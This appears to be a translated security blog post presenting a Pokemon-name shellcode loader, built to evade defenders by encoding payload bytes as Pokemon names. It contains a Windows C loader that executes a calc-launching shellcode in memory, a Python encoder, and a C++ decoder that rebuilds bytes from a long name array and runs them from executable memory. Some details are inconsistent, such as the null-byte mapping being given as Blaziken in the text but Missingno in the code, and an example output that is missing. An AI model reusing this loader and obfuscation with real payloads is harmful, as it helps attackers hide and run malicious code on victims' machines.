
पूरे दिन हेक्स देखते-देखते और '\x41' देखते-देखते थक गए? बल्कि Lugia/Charmander देखना चाहेंगे? मेरे पास आपके लिए समाधान है।
दिनभर हेक्स देखते-देखते थक गए और '\x41' पॉप करते-करते? बल्कि Lugia/Charmander देखना पसंद करेंगे? मेरे पास आपके लिए समाधान है। @Checkymander से एक ट्वीट आया था जिसमें पोकेमॉन नामों से शेलकोड लोडर बनाने की बात थी। ब्लू टीम को छेड़ने के लिए बढ़िया मज़ेदार प्रोजेक्ट, लेकिन कोई POC नहीं था! (या कम से कम जब मैंने आखिरी बार देखा था)
नोट #1 अपडेटेड कोड मेरे GitHub पर होगा: https://github.com/Techryptic/Pokemon-Shellcode-Loader
नोट #2 GitBooks: https://techryptic.gitbook.io/pokemon-shellcode
नोट #3 GitPages: https://techryptic.github.io/2022/07/28/Pokemon-Shellcode-Loader
इसे करने के कई तरीके हैं: अगर हम शेलकोड को देखें, तो यह 0x00-0xFF तक के हेक्स का एक क्रम है, या दशमलव रूप में 0-256 का। ऐसे में चुनने के लिए 256 से कहीं अधिक पोकेमॉन मौजूद हैं।
ऊपर दिए गए पोकेमॉन चार्ट को देखकर, हम BULBASAUR, जो #001 है, को 0x01 में अनुवादित कर सकते हैं (पहला शून्य हटाकर)। इसी तरह, CHARMANDER को 0x04 द्वारा दर्शाया जाएगा और आगे भी ऐसे ही। भाग्यशाली नल बाइट 0x00 को पोकेमॉन #257, BLAZIKEN के साथ संरेखित किया जा सकता है!
शेलकोड को पोकेमॉन-शेलकोड में बदलना सरल है। पोकेमॉन-शेलकोड को असेंबली में बदलने के बारे में क्या ख्याल है?! क्या हम .ASM के भीतर एक Array चाहते हैं? C कोड? इसे बाहरी रूप से डाउनलोड करें?
जाने के लिए कई दिशाएँ हैं!
हमें डेटा चाहिए। पहले, मुझे दो क्षेत्र मिले जिनमें पोकेमॉन की संख्या और उनका नाम दोनों शामिल हैं:
https://gist.github.com/armgilles/194bcff35001e7eb53a2a8b441e8b2c6
और एक और जिसमें केवल पोकेमॉन का नाम है। यह अधिक उपयोगी हो सकता है क्योंकि हम एक लंबी स्ट्रिंग को आगे ले जाए बिना किसी विशेष पोकेमॉन के लिए ऐरे इंडेक्स स्थिति प्राप्त कर सकते हैं।
https://github.com/sindresorhus/pokemon/blob/main/data/en.json
मैं एक नियमित POP CALC शेलकोड ले रहा हूँ और उस पर कुछ C कोड फेंक रहा हूँ।
#include <windows.h>
void main() {
void* exec;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
// Shellcode
unsigned char payload[] =
"\x50\x53\x51\x52\x56\x57\x55\x89"
"\xe5\x83\xec\x18\x31\xf6\x56\x6a"
"\x63\x66\x68\x78\x65\x68\x57\x69"
"\x6e\x45\x89\x65\xfc\x31\xf6\x64"
"\x8b\x5e\x30\x8b\x5b\x0c\x8b\x5b"
"\x14\x8b\x1b\x8b\x1b\x8b\x5b\x10"
"\x89\x5d\xf8\x31\xc0\x8b\x43\x3c"
"\x01\xd8\x8b\x40\x78\x01\xd8\x8b"
"\x48\x24\x01\xd9\x89\x4d\xf4\x8b"
"\x78\x20\x01\xdf\x89\x7d\xf0\x8b"
"\x50\x1c\x01\xda\x89\x55\xec\x8b"
"\x58\x14\x31\xc0\x8b\x55\xf8\x8b"
"\x7d\xf0\x8b\x75\xfc\x31\xc9\xfc"
"\x8b\x3c\x87\x01\xd7\x66\x83\xc1"
"\x08\xf3\xa6\x74\x0a\x40\x39\xd8"
"\x72\xe5\x83\xc4\x26\xeb\x41\x8b"
"\x4d\xf4\x89\xd3\x8b\x55\xec\x66"
"\x8b\x04\x41\x8b\x04\x82\x01\xd8"
"\x31\xd2\x52\x68\x2e\x65\x78\x65"
"\x68\x63\x61\x6c\x63\x68\x6d\x33"
"\x32\x5c\x68\x79\x73\x74\x65\x68"
"\x77\x73\x5c\x53\x68\x69\x6e\x64"
"\x6f\x68\x43\x3a\x5c\x57\x89\xe6"
"\x6a\x0a\x56\xff\xd0\x83\xc4\x46"
"\x5d\x5f\x5e\x5a\x59\x5b\x58\xc3";
unsigned int payload_len = 205;
exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
RtlMoveMemory(exec, payload, payload_len);
rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect);
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
WaitForSingleObject(th, -1);
}
बुरा नहीं है। यह कुछ दुर्भावनापूर्ण नहीं कर रहा है, लेकिन फिर भी... बुरा नहीं है।
एक सरल स्क्रिप्ट शेलकोड बाइट ऑब्जेक्ट को पोकेमॉन शेलकोड में बदल देती है।
import json
shellcode = (b"\x41\x42\x20\x43")
#Do not edit below
PokemonList = ["Missingno","Bulbasaur","Ivysaur","Venusaur","Charmander","Charmeleon","Charizard","Squirtle","Wartortle","Blastoise","Caterpie","Metapod","Butterfree","Weedle","Kakuna","Beedrill","Pidgey","Pidgeotto","Pidgeot","Rattata","Raticate","Spearow","Fearow","Ekans","Arbok","Pikachu","Raichu","Sandshrew","Sandslash","NidoranF","Nidorina","Nidoqueen","NidoranM","Nidorino","Nidoking","Clefairy","Clefable","Vulpix","Ninetales","Jigglypuff","Wigglytuff","Zubat","Golbat","Oddish","Gloom","Vileplume","Paras","Parasect","Venonat","Venomoth","Diglett","Dugtrio","Meowth","Persian","Psyduck","Golduck","Mankey","Primeape","Growlithe","Arcanine","Poliwag","Poliwhirl","Poliwrath","Abra","Kadabra","Alakazam","Machop","Machoke","Machamp","Bellsprout","Weepinbell","Victreebel","Tentacool","Tentacruel","Geodude","Graveler","Golem","Ponyta","Rapidash","Slowpoke","Slowbro","Magnemite","Magneton","Farfetchd","Doduo","Dodrio","Seel","Dewgong","Grimer","Muk","Shellder","Cloyster","Gastly","Haunter","Gengar","Onix","Drowzee","Hypno","Krabby","Kingler","Voltorb","Electrode","Exeggcute","Exeggutor","Cubone","Marowak","Hitmonlee","Hitmonchan","Lickitung","Koffing","Weezing","Rhyhorn","Rhydon","Chansey","Tangela","Kangaskhan","Horsea","Seadra","Goldeen","Seaking","Staryu","Starmie","Mr. Mime","Scyther","Jynx","Electabuzz","Magmar","Pinsir","Tauros","Magikarp","Gyarados","Lapras","Ditto","Eevee","Vaporeon","Jolteon","Flareon","Porygon","Omanyte","Omastar","Kabuto","Kabutops","Aerodactyl","Snorlax","Articuno","Zapdos","Moltres","Dratini","Dragonair","Dragonite","Mewtwo","Mew","Chikorita","Bayleef","Meganium","Cyndaquil","Quilava","Typhlosion","Totodile","Croconaw","Feraligatr","Sentret","Furret","Hoothoot","Noctowl","Ledyba","Ledian","Spinarak","Ariados","Crobat","Chinchou","Lanturn","Pichu","Cleffa","Igglybuff","Togepi","Togetic","Natu","Xatu","Mareep","Flaaffy","Ampharos","Bellossom","Marill","Azumarill","Sudowoodo","Politoed","Hoppip","Skiploom","Jumpluff","Aipom","Sunkern","Sunflora","Yanma","Wooper","Quagsire","Espeon","Umbreon","Murkrow","Slowking","Misdreavus","Unown","Wobbuffet","Girafarig","Pineco","Forretress","Dunsparce","Gligar","Steelix","Snubbull","Granbull","Qwilfish","Scizor","Shuckle","Heracross","Sneasel","Teddiursa","Ursaring","Slugma","Magcargo","Swinub","Piloswine","Corsola","Remoraid","Octillery","Delibird","Mantine","Skarmory","Houndour","Houndoom","Kingdra","Phanpy","Donphan","Porygon2","Stantler","Smeargle","Tyrogue","Hitmontop","Smoochum","Elekid","Magby","Miltank","Blissey","Raikou","Entei","Suicune","Larvitar","Pupitar","Tyranitar","Lugia","Ho-Oh","Celebi","Treecko","Grovyle","Sceptile","Torchic"]
Poke_Shellcode = []
for x in shellcode:
Poke_Shellcode.append(PokemonList[x])
print(json.dumps(Poke_Shellcode))
ऊपर दिए गए शेलकोड को लेते हुए:
\x00\x31\xc0\x50\x68\x2f\x2F
इसमें बदल जाता है:
मज़ेदार तथ्य: मैं पोकेमॉन नाम को उनकी संख्या के साथ संरेखित रखना चाहता था (BULBASAUR = #1, या 0x01), इसलिए 0x00/नल बाइट को किसी चीज़ से भरना आवश्यक था। MISSINGNO से बेहतर क्या हो सकता है?!
एक और समस्या यह है कि पोकेमॉन Farfetch'd में एपॉस्ट्रॉफी है, जैसा कि नीचे दिखाया गया है। आसान समाधान यह है कि इसे हटा दें और इसे ऐसे कहें: Farfetchd
अंत में, दो ऐसे पोकेमॉन भी हैं जो प्रतीकों को हटाने के बाद एक ही नाम साझा करते हैं, उन दोनों के लिए समाधान यह था कि एक में F (मादा के लिए) जोड़ा जाए, और दूसरे में M (नर के लिए) जोड़ा जाए।
#include <iostream>
#include <string>
#include <Bits.h>
using namespace std;
// Created by: Techryptic
// @Tech
string indexNumberToHexa(int number);
void reverse_String(string& str, int last_index, int starting_index);
void printAscii(unsigned char* index_to_hexa_array, int counter_s);
int main()
{
string poke_shellcode[] = { "Slowbro", "Farfetchd", "Magnemite", "Magneton", "Seel", "Dewgong", "Dodrio", "Porygon", "Houndoom", "Lapras", "Tyrogue", "Arbok", "Venomoth", "Larvitar", "Seel", "Hitmonlee", "Kingler", "Exeggcute", "Cubone", "Staryu", "Electrode", "Cubone", "Dewgong", "Marowak", "Weezing", "Bellsprout", "Porygon", "Electrode", "Treecko", "Venomoth", "Larvitar", "Voltorb", "Omastar", "Gengar", "Venonat", "Omastar", "Cloyster", "Butterfree", "Omastar", "Cloyster", "Raticate", "Omastar", "Sandshrew", "Omastar", "Sandshrew", "Omastar", "Cloyster", "Pidgey", "Porygon", "Haunter", "Tyranitar", "Venomoth", "Sunflora", "Omastar", "Machoke", "Poliwag", "Bulbasaur", "Teddiursa", "Omastar", "Kadabra", "Staryu", "Bulbasaur", "Teddiursa", "Omastar", "Tentacool", "Clefable", "Bulbasaur", "Ursaring", "Porygon", "Ponyta", "Entei", "Omastar", "Staryu", "NidoranM", "Bulbasaur", "Remoraid", "Porygon", "Electabuzz", "Magby", "Omastar", "Slowbro", "Sandslash", "Bulbasaur", "Slugma", "Porygon", "Dodrio", "Tyrogue", "Omastar", "Grimer", "Raticate", "Venomoth", "Sunflora", "Omastar", "Dodrio", "Tyranitar", "Omastar", "Electabuzz", "Magby", "Omastar", "Seadra", "Treecko", "Venomoth", "Unown", "Treecko", "Omastar", "Poliwag", "Jolteon", "Bulbasaur", "Sneasel", "Exeggcute", "Lapras", "Yanma", "Wartortle", "Raikou", "Ledian", "Horsea", "Caterpie", "Kadabra", "Primeape", "Teddiursa", "Tangela", "Houndoom", "Lapras", "Espeon", "Ninetales", "Smeargle", "Alakazam", "Omastar", "Ponyta", "Entei", "Porygon", "Qwilfish", "Omastar", "Dodrio", "Tyrogue", "Exeggcute", "Omastar", "Charmander", "Alakazam", "Omastar", "Charmander", "Gyarados", "Bulbasaur", "Teddiursa", "Venomoth", "Granbull", "Magneton", "Cubone", "Paras", "Electrode", "Staryu", "Electrode", "Cubone", "Kingler", "Hypno", "Lickitung", "Kingler", "Cubone", "Koffing", "Dugtrio", "Diglett", "Gastly", "Cubone", "Starmie", "Kangaskhan", "Horsea", "Electrode", "Cubone", "Seaking", "Kangaskhan", "Gastly", "Farfetchd", "Cubone", "Marowak", "Weezing", "Voltorb", "Rhyhorn", "Cubone", "Machoke", "Growlithe", "Gastly", "Dewgong", "Porygon", "Kingdra", "Hitmonlee", "Caterpie", "Seel", "Torchic", "Steelix", "Lapras", "Espeon", "Weepinbell", "Haunter", "Onix", "Gengar", "Shellder", "Muk", "Cloyster", "Grimer", "Quagsire" };
/// Do not edit below
string pokemon[256] = { "Missingno", "Bulbasaur", "Ivysaur", "Venusaur", "Charmander", "Charmeleon", "Charizard", "Squirtle", "Wartortle", "Blastoise", "Caterpie", "Metapod", "Butterfree", "Weedle", "Kakuna", "Beedrill", "Pidgey", "Pidgeotto", "Pidgeot", "Rattata", "Raticate", "Spearow", "Fearow", "Ekans", "Arbok", "Pikachu", "Raichu", "Sandshrew", "Sandslash", "NidoranF", "Nidorina", "Nidoqueen", "NidoranM", "Nidorino", "Nidoking", "Clefairy", "Clefable", "Vulpix", "Ninetales", "Jigglypuff", "Wigglytuff", "Zubat", "Golbat", "Oddish", "Gloom", "Vileplume", "Paras", "Parasect", "Venonat", "Venomoth", "Diglett", "Dugtrio", "Meowth", "Persian", "Psyduck", "Golduck", "Mankey", "Primeape", "Growlithe", "Arcanine", "Poliwag", "Poliwhirl", "Poliwrath", "Abra", "Kadabra", "Alakazam", "Machop", "Machoke", "Machamp", "Bellsprout", "Weepinbell", "Victreebel", "Tentacool", "Tentacruel", "Geodude", "Graveler", "Golem", "Ponyta", "Rapidash", "Slowpoke", "Slowbro", "Magnemite", "Magneton", "Farfetchd", "Doduo", "Dodrio", "Seel", "Dewgong", "Grimer", "Muk", "Shellder", "Cloyster", "Gastly", "Haunter", "Gengar", "Onix", "Drowzee", "Hypno", "Krabby", "Kingler", "Voltorb", "Electrode", "Exeggcute", "Exeggutor", "Cubone", "Marowak", "Hitmonlee", "Hitmonchan", "Lickitung", "Koffing", "Weezing", "Rhyhorn", "Rhydon", "Chansey", "Tangela", "Kangaskhan", "Horsea", "Seadra", "Goldeen", "Seaking", "Staryu", "Starmie", "Mr. Mime", "Scyther", "Jynx", "Electabuzz", "Magmar", "Pinsir", "Tauros", "Magikarp", "Gyarados", "Lapras", "Ditto", "Eevee", "Vaporeon", "Jolteon", "Flareon", "Porygon", "Omanyte", "Omastar", "Kabuto", "Kabutops", "Aerodactyl", "Snorlax", "Articuno", "Zapdos", "Moltres", "Dratini", "Dragonair", "Dragonite", "Mewtwo", "Mew", "Chikorita", "Bayleef", "Meganium", "Cyndaquil", "Quilava", "Typhlosion", "Totodile", "Croconaw", "Feraligatr", "Sentret", "Furret", "Hoothoot", "Noctowl", "Ledyba", "Ledian", "Spinarak", "Ariados", "Crobat", "Chinchou", "Lanturn", "Pichu", "Cleffa", "Igglybuff", "Togepi", "Togetic", "Natu", "Xatu", "Mareep", "Flaaffy", "Ampharos", "Bellossom", "Marill", "Azumarill", "Sudowoodo", "Politoed", "Hoppip", "Skiploom", "Jumpluff", "Aipom", "Sunkern", "Sunflora", "Yanma", "Wooper", "Quagsire", "Espeon", "Umbreon", "Murkrow", "Slowking", "Misdreavus", "Unown", "Wobbuffet", "Girafarig", "Pineco", "Forretress", "Dunsparce", "Gligar", "Steelix", "Snubbull", "Granbull", "Qwilfish", "Scizor", "Shuckle", "Heracross", "Sneasel", "Teddiursa", "Ursaring", "Slugma", "Magcargo", "Swinub", "Piloswine", "Corsola", "Remoraid", "Octillery", "Delibird", "Mantine", "Skarmory", "Houndour", "Houndoom", "Kingdra", "Phanpy", "Donphan", "Porygon2", "Stantler", "Smeargle", "Tyrogue", "Hitmontop", "Smoochum", "Elekid", "Magby", "Miltank", "Blissey", "Raikou", "Entei", "Suicune", "Larvitar", "Pupitar", "Tyranitar", "Lugia", "Ho-Oh", "Celebi", "Treecko", "Grovyle", "Sceptile", "Torchic" };
int size1 = sizeof(pokemon) / sizeof(pokemon[0]);
int size2 = sizeof(poke_shellcode) / sizeof(poke_shellcode[0]);
//creating a dynamic array for holding indexes having size=siez of poke_shellcode considering the
//assumtion that all poke_shellcode elements exist in pokemon
int* index = new int[size2];
int index_counter = 0;
for (int i = 0; i < size2; i++) { //reading poke_shellcode element one by one
for (int j = 0; j < size1; j++) { //reading pokemon element one by one
if (poke_shellcode[i].compare(pokemon[j]) == 0) { //both strings are equal
index[index_counter] = j; //saving index
index_counter++;
break; //stoping inner loop
}
}
}
//for storing hex values of indexes
unsigned char* index_to_hexa_array = new unsigned char[index_counter * 5];
int counter_s = 0;
for (int i = 0; i < index_counter; i++) {
string value = "";
value += "\\x";
if (index[i] < 10) {
value += "0";
}
value += indexNumberToHexa(index[i]); //converting each index to hexa and inserting in array
for (int k = 0; k < (int)value.length(); k++) {
index_to_hexa_array[counter_s] = value[k];
counter_s++;
}
}
std::string payload;
index_to_hexa_array[counter_s] = '\0';
printAscii(index_to_hexa_array, counter_s);
delete[]index; //freeing memory
delete[]index_to_hexa_array;
index = nullptr; //reseting the index pointer
index_to_hexa_array = nullptr;
return 0;
}
void reverse_String(string& str, int last_index, int starting_index) {
if (last_index <= starting_index) { return; }
swap(str[starting_index], str[last_index]);
reverse_String(str, last_index - 1, starting_index + 1);
}
string indexNumberToHexa(int number) {
string hexavalue = "";
while (number != 0) {
int remainder = number % 16;
if (remainder < 10) { //number 0-9
hexavalue += remainder + 48;
}
else {//alphabet A-F
hexavalue += remainder + 55; //converting number to alphabet
}
number = number / 16;
}
reverse_String(hexavalue, hexavalue.length() - 1, 0);
return (hexavalue != "" ? hexavalue : "0");
}
void printAscii(unsigned char* index_to_hexa_array, int counter_s) {
string sc;
for (int i = 2; i < counter_s; i++) {
if (index_to_hexa_array[i] != '\\' && index_to_hexa_array[i] != 'x') {//hex value cannot be more than 2 characters
string vt; // hex ex: 01
vt.push_back(index_to_hexa_array[i]);
vt.push_back(index_to_hexa_array[i + 1]);
//cout << (char)stoul(vt, nullptr, 16);
unsigned char n = (char)stoul(vt, nullptr, 16);
sc += n;
i++;
}
}
sc += '\0'; // adding nullbyte to string to mimic array
//std::cout << "The size is " << sc.size() << " bytes.\n";
DWORD oldprotect = 0;
void* exec = VirtualAlloc(0, sc.size(), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, sc.c_str(), sc.size());
((void(*)())exec)();
}
यही है, यही निष्कर्ष है। वही कोड लेकिन पोकेमॉन का उपयोग करने पर मेरी अपेक्षा से कहीं बेहतर परिणाम मिलता है।
अंत में, यह अभी भी Red बनाम Blue की लड़ाई है
